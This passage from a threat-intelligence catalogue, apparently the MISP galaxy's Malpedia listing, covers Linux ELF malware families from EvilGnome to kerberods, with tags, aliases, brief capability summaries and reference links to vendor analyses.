https://github.com/kgretzky/evilginx2
https://www.ironnet.com/blog/robin-banks-still-might-be-robbing-your-bank-part-2
https://osamaellahi.medium.com/the-art-of-defense-evasion-part-3-bypass-multi-factor-authentication-mfa-26d3a87dea0f

EvilGnome

According to Infosec Institute, EvilGnome presents itself to unwitting Linux users as a legitimate GNOME extension. Legitimate extensions help to extend Linux functionality, but instead of a healthy boost in system functionality, EvilGnome begins spying on users with an array of functionalities uncommon for most Linux malware types.

The tag is: *misp-galaxy:malpedia="EvilGnome"*

EvilGnome is also known as:

Table 2465. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.evilgnome
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought
https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf

https://www.intezer.com/blog-evilgnome-rare-malware-spying-on-linux-desktop-users/	
https://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html	

EwDoor

The tag is: *misp-galaxy:malpedia="EwDoor"*

EwDoor is also known as:

Table 2466. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ewdoor
https://blog.netlab.360.com/warning-ewdoor-botnet-is-attacking-att-customers/

Exaramel (ELF)

The tag is: *misp-galaxy:malpedia="Exaramel (ELF)"*

Exaramel (ELF) is also known as:

Table 2467. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.exaramel
https://www.wired.com/story/sandworm-centreon-russia-hack/
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/
https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf
https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf
https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf
https://twitter.com/craiu/status/1361581668092493824
https://attack.mitre.org/groups/G0034

ext4

The tag is: *misp-galaxy:malpedia="ext4"*

ext4 is also known as:

Table 2468. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ext4
https://www.recordedfuture.com/chinese-cyberespionage-operations/
https://www.recordedfuture.com/chinese-cyberespionage-operations

Facefish

The tag is: *misp-galaxy:malpedia="Facefish"*

Facefish is also known as:

Table 2469. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.facefish
https://blog.netlab.360.com/ssh_stealer_facefish_en/

FBot

The tag is: *misp-galaxy:malpedia="FBot"*

FBot is also known as:

Table 2470. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.fbot
https://blog.netlab.360.com/fbot-is-now-riding-the-traffic-and-transportation-smart-devices-en/
https://blog.malwaremustdie.org/2020/01/mmd-0065-2020-linuxmirai-fbot.html
https://securitynews.sonicwall.com/xmlpost/vigilante-malware-removes-cryptominers-from-the-infected-device/
https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html

FINALDRAFT (ELF)

The tag is: *misp-galaxy:malpedia="FINALDRAFT (ELF)"*

FINALDRAFT (ELF) is also known as:

Table 2471. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.finaldraft
https://unit42.paloaltonetworks.com/advanced-backdoor-squidoor/

https://www.elastic.co/security-labs/finaldraft
https://www.elastic.co/security-labs/fragile-web-ref7707

FinFisher (ELF)

The tag is: *misp-galaxy:malpedia="FinFisher (ELF)"*

FinFisher (ELF) is also known as:

Table 2472. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.finfisher
https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/
https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/
https://securelist.com/finspy-unseen-findings/104322/

FireWood

The tag is: *misp-galaxy:malpedia="FireWood"*

FireWood is also known as:

Table 2473. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.firewood
https://intezer.com/blog/threat-bulletin-firewood/
https://www.welivesecurity.com/en/eset-research/unveiling-wolfsbane-gelsemiums-linux-counterpart-to-gelsevirine/

Flodrix

The tag is: *misp-galaxy:malpedia="Flodrix"*

Flodrix is also known as:

Table 2474. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.flodrix
https://www.trendmicro.com/en_us/research/25/f/langflow-vulnerability-flodric-botnet.html

floodor

The tag is: *misp-galaxy:malpedia="floodor"*

floodor is also known as:

Table 2475. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.floodor
https://github.com/Thibault-69/Floodor

Fodcha

Malware used to run a DDoS botnet.

The tag is: *misp-galaxy:malpedia="Fodcha"*

Fodcha is also known as:

Table 2476. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.fodcha
https://blog.netlab.360.com/fodcha-a-new-ddos-botnet/
https://www.bleepingcomputer.com/news/security/fodcha-ddos-botnet-reaches-1tbps-in-power-injects-ransoms-in-packets/

FontOnLake

This family utilizes custom modules allowing for remote access, credential harvesting (e.g. by modifying sshd) and proxy usage.

It comes with a rootkit as well.

The tag is: *misp-galaxy:malpedia="FontOnLake"*

FontOnLake is also known as:

Table 2477. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.fontonlake
https://www.welivesecurity.com/2021/10/07/fontonlake-previously-unknown-malware-family-targeting-linux/

FritzFrog

Guardicore has discovered FritzFrog, a sophisticated peer-to-peer (P2P) botnet which has been actively breaching SSH servers since January 2020. It is a worm which is written in Golang, and is modular, multi-threaded and fileless, leaving no trace on the infected machine's disk.

The tag is: *misp-galaxy:malpedia="FritzFrog"*

FritzFrog is also known as:

Table 2478. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.fritzfrog
https://www.akamai.com/blog/security/fritzfrog-p2p
https://blog.netlab.360.com/p2p-botnets-review-status-continuous-monitoring/
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/
https://www.cyberkendra.com/2024/02/fritzfrog-botnet-expands-attack-arsenal.html
https://www.akamai.com/blog/security/fritzfrog-a-new-generation-of-peer-to-peer-botnets
https://www.securityweek.com/sophisticated-fritzfrog-p2p-botnet-returns-after-long-break
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

Gaganode (ELF)

According to Synthient, Gaganode is a decentralized bandwidth monetization service that enables both users and publishers to earn crypto for their bandwidth or monetize other people's bandwidth. The SDK intentionally implements RCE, thus aligning Gaganode more closely with malware than standard commercial SDKs.

The tag is: *misp-galaxy:malpedia="Gaganode (ELF)"*

Gaganode (ELF) is also known as:

Table 2479. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.gaganode
https://synthient.com/blog/ipcola-a-tangled-mess

GhostPenguin

The tag is: *misp-galaxy:malpedia="GhostPenguin "*

GhostPenguin is also known as:

Table 2480. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ghostpenguin
https://www.trendmicro.com/en_us/research/25/l/ghostpenguin.html

Gitpaste-12

Gitpaste-12 is a modular malware first observed in October 2020 targeting Linux based x86 servers, as well as Linux ARM and MIPS based IoT devices. It uses GitHub and Pastebin as dead drop C2 locations.

The tag is: *misp-galaxy:malpedia="Gitpaste-12"*

Gitpaste-12 is also known as:

Table 2481. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.gitpaste12
https://blogs.juniper.net/en-us/threat-research/gitpaste-12

Glupteba Proxy

ARM32 SOCKS proxy, written in Go, used in the Glupteba campaign.

The tag is: *misp-galaxy:malpedia="Glupteba Proxy"*

Glupteba Proxy is also known as:

Table 2482. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.glupteba_proxy
https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html
https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/

GobRAT

The tag is: *misp-galaxy:malpedia="GobRAT"*

GobRAT is also known as:

Table 2483. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.gobrat
https://blogs.jpcert.or.jp/en/2023/05/gobrat.html

Godlua

The tag is: *misp-galaxy:malpedia="Godlua"*

Godlua is also known as:

Table 2484. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.godlua
https://blog.netlab.360.com/an-analysis-of-godlua-backdoor-en/

gokcpdoor

According to LAC, this malware is written in Go and was observed in 2022 used by an unknown China-based APT across several incidents in Japan. This backdoor has 20 commands and connects with C2 servers via KCP over UDP.

The tag is: *misp-galaxy:malpedia="gokcpdoor"*

gokcpdoor is also known as:

Table 2485. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.gokcpdoor
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lets-go-door-with-KCP.pdf

Gomir

The tag is: *misp-galaxy:malpedia="Gomir"*

Gomir is also known as:

Table 2486. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.gomir
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/springtail-kimsuky-backdoor-espionage

GOREshell

The tag is: *misp-galaxy:malpedia="GOREshell"*

GOREshell is also known as:

Table 2487. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.goreshell
https://cert.ssi.gouv.fr/uploads/CERTFR-2025-CTI-009.pdf
https://www.sentinelone.com/labs/follow-the-smoke-china-nexus-threat-actors-hammer-at-the-doors-of-top-tier-targets/

GOREVERSE

GOREVERSE is a publicly available reverse shell backdoor written in GoLang that operates over Secure Shell (SSH).

The tag is: *misp-galaxy:malpedia="GOREVERSE"*

GOREVERSE is also known as:

Table 2488. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.goreverse
https://cloud.google.com/blog/topics/threat-intelligence/initial-access-brokers-exploit-f5-screenconnect
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2025-CTI-009.pdf

Gorilla

A DDoS botnet, based on Mirai.

The tag is: *misp-galaxy:malpedia="Gorilla"*

Gorilla is also known as:

Table 2489. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.gorilla
https://www.ncsc.admin.ch/ncsc/en/home/aktuell/im-fokus/2024/gorilla_bericht.html

GOSH

The tag is: *misp-galaxy:malpedia="GOSH"*

GOSH is also known as:

Table 2490. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.gosh
https://twitter.com/IntezerLabs/status/1291355808811409408

GoTitan

GoTitan is a DDoS bot under development, which support ten different methods of launching distributed denial-of-service (DDoS) attacks: UDP, UDP HEX, TCP, TLS, RAW, HTTP GET, HTTP POST, HTTP HEAD, and HTTP PUT.

The tag is: *misp-galaxy:malpedia="GoTitan"*

GoTitan is also known as:

Table 2491. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.gotitan
https://www.fortinet.com/blog/threat-research/gotitan-botnet-exploitation-on-apache-activemq

GreedyAntd

The tag is: *misp-galaxy:malpedia="GreedyAntd"*

GreedyAntd is also known as:

Table 2492. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.greedyantd
https://www.intezer.com/blog-technical-analysis-cryptocurrency-mining-war-on-the-cloud/

Gwisin (ELF)

The tag is: *misp-galaxy:malpedia="Gwisin (ELF)"*

Gwisin (ELF) is also known as:

Table 2493. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.gwisin
https://research.checkpoint.com/2023/the-platform-matters-a-comparative-study-on-linux-and-windows-ransomware-attacks/

HabitsRAT (ELF)

The tag is: *misp-galaxy:malpedia="HabitsRAT (ELF)"*

HabitsRAT (ELF) is also known as:

Table 2494. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.habitsrat
https://twitter.com/michalmalik/status/1435918937162715139

Hadooken

The tag is: *misp-galaxy:malpedia="Hadooken"*

Hadooken is also known as:

Table 2495. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hadooken
https://www.bleepingcomputer.com/news/security/new-linux-malware-hadooken-targets-oracle-weblogic-servers/
https://www.aquasec.com/blog/hadooken-malware-targets-weblogic-applications/

Haiduc

The tag is: *misp-galaxy:malpedia="Haiduc"*

Haiduc is also known as:

Table 2496. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.haiduc
https://documents.trendmicro.com/assets/Perl-Based_Shellbot_Looks_to_Target_Organizations_via_C&C_appendix.pdf

Hajime

The tag is: *misp-galaxy:malpedia="Hajime"*

Hajime is also known as:

Table 2497. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hajime
https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf
https://blog.netlab.360.com/p2p-botnets-review-status-continuous-monitoring/
https://x86.re/blog/hajime-a-follow-up/
https://github.com/Psychotropos/hajime_hashes
https://blog.netlab.360.com/quick-summary-port-8291-scan-en/
https://www.symantec.com/connect/blogs/hajime-worm-battles-mirai-control-internet-things
https://par.nsf.gov/servlets/purl/10096257
https://security.radware.com/WorkArea/DownloadAsset.aspx?id=1461
http://blog.netlab.360.com/hajime-status-report-en/

Hakai

The tag is: *misp-galaxy:malpedia="Hakai"*

Hakai is also known as:

Table 2498. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hakai
https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/

HandyMannyPot

The tag is: *misp-galaxy:malpedia="HandyMannyPot"*

HandyMannyPot is also known as:

Table 2499. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.handymannypot
https://twitter.com/liuya0904/status/1171633662502350848

Hand of Thief

The tag is: *misp-galaxy:malpedia="Hand of Thief"*

Hand of Thief is also known as:

- Hanthie

Table 2500. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hand_of_thief
https://blog.avast.com/2013/08/27/linux-trojan-hand-of-thief-ungloved/
https://web.archive.org/web/20130815040638/https://blogs.rsa.com/thieves-reaching-for-linux-hand-of-thief-trojan-targets-linux-inth3wild/

HeadCrab

The tag is: *misp-galaxy:malpedia="HeadCrab"*

HeadCrab is also known as:

Table 2501. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.headcrab
https://www.aquasec.com/blog/headcrab-attacks-servers-worldwide-with-novel-state-of-art-redis-malware/
https://www.aquasec.com/blog/headcrab-2-0-evolving-threat-in-redis-malware-landscape/

HellDown

Ransomware.

The tag is: *misp-galaxy:malpedia="HellDown"*

HellDown is also known as:

Table 2502. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.helldown
https://medium.com/@lcam/how-to-target-european-smes-with-ransomware-through-zyxel-c9779e96369a
https://x.com/nextronresearch/status/1851983952409473308

https://www.linkedin.com/posts/threatmon_helldown-ransomware-malware-technical-analysis-activity-7288187849458245633-cyFk

HelloBot (ELF)

The tag is: *misp-galaxy:malpedia="HelloBot (ELF)"*

HelloBot (ELF) is also known as:

Table 2503. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hellobot
https://blog.exatrack.com/melofee/
https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html

HelloKitty (ELF)

Linux version of the HelloKitty ransomware.

The tag is: *misp-galaxy:malpedia="HelloKitty (ELF)"*

HelloKitty (ELF) is also known as:

Table 2504. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hellokitty
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group/
https://unit42.paloaltonetworks.com/emerging-ransomware-groups/
https://soolidsnake.github.io/2021/07/17/hellokitty_linux.html
https://www.bleepingcomputer.com/news/security/linux-version-of-hellokitty-ransomware-targets-vmware-esxi-servers/
https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group
https://www.govinfosecurity.com/vice-society-ransomware-gang-disrupted-spar-stores-a-18225
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire

HiatusRAT

Lumen discovered this malware used in campaign targeting business-grade routers using a RAT they call HiatusRAT and a variant of tcpdump for traffic interception.

The tag is: *misp-galaxy:malpedia="HiatusRAT"*

HiatusRAT is also known as:

Table 2505. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hiatus_rat
https://blog.lumen.com/hiatusrat-takes-little-time-off-in-a-return-to-action/
https://blog.lumen.com/new-hiatusrat-router-malware-covertly-spies-on-victims/

HiddenWasp

HiddenWasp is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statically linked ELF binary with stdlibc++.

The tag is: *misp-galaxy:malpedia="HiddenWasp"*

HiddenWasp is also known as:

Table 2506. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hiddenwasp
https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought
https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/
https://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html

Hide and Seek

The tag is: *misp-galaxy:malpedia="Hide and Seek"*

Hide and Seek is also known as:

- HNS

Table 2507. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hideandseek
https://www.bleepingcomputer.com/news/security/hns-evolves-from-iot-to-cross-platform-botnet/
https://www.bleepingcomputer.com/news/security/hide-and-seek-becomes-first-iot-botnet-capable-of-surviving-device-reboots/
https://unit42.paloaltonetworks.com/hide-n-seek-botnet-updates-arsenal-with-exploits-against-nexus-repository-manager-thinkphp/
https://blog.avast.com/hide-n-seek-botnet-continues
https://labs.bitdefender.com/2018/05/hide-and-seek-iot-botnet-resurfaces-with-new-tricks-persistence/
https://threatlabs.avast.com/botnet
https://labs.bitdefender.com/2018/01/new-hide-n-seek-iot-botnet-using-custom-built-peer-to-peer-communication-spotted-in-the-wild/
https://www.fortinet.com/blog/threat-research/searching-for-the-reuse-of-mirai-code—hide—n-seek-bot.html
https://blog.netlab.360.com/hns-botnet-recent-activities-en/
https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/

HinataBot

HinataBot is a Go-based DDoS-focused botnet. It was observed in the first quarter of 2023 targeting HTTP and SSH endpoints leveraging old vulnerabilities and weak credentials. Amongst those infection vectors are exploitation of the miniigd SOAP service on Realtek SDK devices (CVE-2014-8361), Huawei HG532 routers (CVE-2017-17215), and exposed Hadoop YARN servers.

The tag is: *misp-galaxy:malpedia="HinataBot"*

HinataBot is also known as:

Table 2508. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hinata_bot
https://www.akamai.com/blog/security-research/hinatabot-uncovering-new-golang-ddos-botnet

Hipid

The tag is: *misp-galaxy:malpedia="Hipid"*

Hipid is also known as:

Table 2509. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hipid
https://blogs.jpcert.or.jp/en/2022/09/bigip-exploit.html

Hive (ELF)

The tag is: *misp-galaxy:malpedia="Hive (ELF)"*

Hive (ELF) is also known as:

Table 2510. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hive
https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive
https://therecord.media/hive-ransomware-shuts-down-california-health-care-organization/
https://twitter.com/malwrhunterteam/status/1455628865229950979
https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://github.com/reecdeep/HiveV5_file_decryptor
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/
https://blog.group-ib.com/hive
https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html
https://lifars.com/2022/02/how-to-decrypt-the-files-encrypted-by-the-hive-ransomware/
https://github.com/rivitna/Malware/tree/main/Hive
https://securityaffairs.co/wordpress/128232/security/recover-files-hive-ransomware.html
https://yoroi.company/research/on-the-footsteps-of-hive-ransomware/
https://yoroi.company/wp-content/uploads/2022/07/Yoroi-On-The-Footsteps-of-Hive-Ransomware.pdf
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://twitter.com/ESETresearch/status/1454100591261667329
https://arxiv.org/pdf/2202.08477.pdf
https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://therecord.media/academics-publish-method-for-recovering-data-encrypted-by-the-hive-ransomware/

Horse Shell

Checkpoint Research describes this as part of a custom firmware image affiliated with the Chinese state-sponsored actor “Camaro Dragon”, a custom MIPS32 ELF implant. HorseShell, the main implant inserted into the modified firmware by the attackers, provides the attacker with 3 main functionalities: * Remote shell: Execution of arbitrary shell commands on the infected router * File transfer: Upload and download files to and from the infected router. * SOCKS tunneling: Relay communication between different clients.

The tag is: *misp-galaxy:malpedia="Horse Shell"*

Horse Shell is also known as:

Table 2511. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.horseshell
https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/

Hubnr

The tag is: *misp-galaxy:malpedia="Hubnr"*

Hubnr is also known as:

Table 2512. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hubnr
https://github.com/carbreal/Malware_Analysis/tree/master/Hubnr_botnet

HyperSSL (ELF)

The tag is: *misp-galaxy:malpedia="HyperSSL (ELF)"*

HyperSSL (ELF) is also known as:

- SysUpdate

Table 2513. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.hyperssl
https://x.com/Unit42_Intel/status/1933565063736021372
https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html

iceFire

The tag is: *misp-galaxy:malpedia="iceFire"*

iceFire is also known as:

Table 2514. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.icefire
https://www.sentinelone.com/labs/icefire-ransomware-returns-now-targeting-linux-enterprise-networks/

Icnanker

The tag is: *misp-galaxy:malpedia="Icnanker"*

Icnanker is also known as:

Table 2515. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.icnanker
https://blog.netlab.360.com/icnanker-trojan-downloader-shc-en/

INC

The tag is: *misp-galaxy:malpedia="INC"*

INC is also known as:

Table 2516. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.inc
https://cisoseries.com/cybersecurity-news-inc-targets-healthcare-providence-schools-cyberattack-apple-ipads-bricked/
https://twitter.com/malwrhunterteam/status/1689029459255373826
https://unit42.paloaltonetworks.com/inc-ransomware-rebrand-to-lynx/

https://x.com/MsftSecIntel/status/1836456406276342215	
https://nikhilh-20.github.io/blog/inc_ransomware/	

Interlock (ELF)

According to Sekoia, this is the ransomware used by the Interlock ransomware intrusion set, which was first observed in September 2024 conducting Big Game Hunting and double extortion campaigns.

The tag is: *misp-galaxy:malpedia="Interlock (ELF)"*

Interlock (ELF) is also known as:

Table 2517. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.interlock
https://blog.sekoia.io/interlock-ransomware-evolving-under-the-radar/
https://www.fortinet.com/blog/threat-research/ransomware-roundup-interlock

elf.iocontrol

IOControl is a Linux backdoor which targets ARM-based IoT and OT systems, which a particular focus on Fuel and Industrial Control Systems.

The tag is: *misp-galaxy:malpedia="elf.iocontrol"*

elf.iocontrol is also known as:

- OrpraCab
- QueueCat

Table 2518. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.iocontrol
https://www.armis.com/blog/iocontrol-malware-whats-new-whats-not/
https://web-assets.claroty.com/resource-downloads/team82_iocontrol.pdf
https://claroty.com/team82/research/inside-a-new-ot-iot-cyber-weapon-iocontrol
https://www.bleepingcomputer.com/news/security/new-iocontrol-malware-used-in-critical-infrastructure-attacks/

IoT Reaper

The tag is: *misp-galaxy:malpedia="IoT Reaper"*

IoT Reaper is also known as:

- IoTroop
- Reaper
- iotreaper

Table 2519. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.iot_reaper
https://krebsonsecurity.com/2017/10/reaper-calm-before-the-iot-security-storm
https://research.checkpoint.com/new-iot-botnet-storm-coming/
http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/

IPStorm (ELF)

The tag is: *misp-galaxy:malpedia="IPStorm (ELF)"*

IPStorm (ELF) is also known as:

- InterPlanetary Storm

Table 2520. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ipstorm
https://www.intezer.com/blog/research/a-storm-is-brewing-ipstorm-now-has-linux-malware/
https://maldbg.com/ipstorm-golang-malware-windows
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.justice.gov/usao-pr/pr/russian-and-moldovan-national-pleads-guilty-operating-illegal-botnet-proxy-service
https://www.anomali.com/blog/the-interplanetary-storm-new-malware-in-wild-using-interplanetary-file-systems-ipfs-p2p-network
https://www.bitdefender.com/files/News/CaseStudies/study/376/Bitdefender-Whitepaper-IPStorm.pdf
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

IZ1H9

ccording to Fortinet, this is a Mirai-based DDoS botnet.

The tag is: *misp-galaxy:malpedia="IZ1H9"*

IZ1H9 is also known as:

Table 2521. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.iz1h9
https://www.fortinet.com/blog/threat-research/Iz1h9-campaign-enhances-arsenal-with-scores-of-exploits

JenX

The tag is: *misp-galaxy:malpedia="JenX"*

JenX is also known as:

Table 2522. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.jenx
https://www.fortinet.com/blog/threat-research/threat-actors-exploit-geoserver-vulnerability-cve-2024-36401
https://blog.radware.com/security/2018/02/jenx-los-calvos-de-san-calvicie/

J-Magic

According to Lumen, J-Magic is a variant of cd00r and passively scans for five different predefined parameters before activating. If any of these parameters or “magic packets” are received, the agent sends back a secondary challenge. Once that challenge is complete, J-magic establishes a reverse shell on the local file system, allowing the operators to control the device, steal data, or deploy malicious software.

The tag is: *misp-galaxy:malpedia="J-Magic"*

J-Magic is also known as:

Table 2523. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.j_magic
https://blog.lumen.com/the-j-magic-show-magic-packets-and-where-to-find-them/

Kaden

Kaden is a DDoS botnet that is heavily based on Bashlite/Gafgyt. Next to DDoS capabilities it contains wiper functionality, which currently can not be triggerred (yet).

The tag is: *misp-galaxy:malpedia="Kaden"*

Kaden is also known as:

Table 2524. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaden
https://www.forescout.com/blog/emerging-iot-wiper-malware-kaden-and-new-lolfme-botnet/

Kaiji

Surfaced in late April 2020, Intezer describes Kaiji as a DDoS malware written in Go that spreads through SSH brute force attacks. Recovered function names are an English representation of Chinese words, hinting about the origin. The name Kaiji was given by MalwareMustDie based on strings found in samples.

The tag is: *misp-galaxy:malpedia="Kaiji"*

Kaiji is also known as:

Table 2525. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiji
https://intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/
https://www.bitdefender.com/box/blog/iot-news/kaiji-new-strain-iot-malware-seizing-control-launching-ddos-attacks/
https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775
https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/
https://www.elastic.co/security-labs/betting-on-bots

Kaiten

According to netenrich, Kaiten is a Trojan horse that opens a back door on the compromised computer that allows it to perform other malicious activities. The trojan does not create any copies of itself. This Backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

The tag is: *misp-galaxy:malpedia="Kaiten"*

Kaiten is also known as:

- STD

Table 2526. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiten
https://www.lacework.com/blog/the-kek-security-network/
https://www.trendmicro.com/en_us/research/20/i/exposed-docker-server-abused-to-drop-cryptominer-ddos-bot-.html
https://www.lacework.com/the-kek-security-network/
https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/kaiten-std-router-ddos-malware-threat-advisory.pdf
https://www.blackarrow.net/attackers-abuse-mobileirons-rce-to-deliver-kaiten/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apache-log4j-zero-day

kerberods

The tag is: *misp-galaxy:malpedia="kerberods"*

kerberods is also known as:

Table 2527. Table References

Links
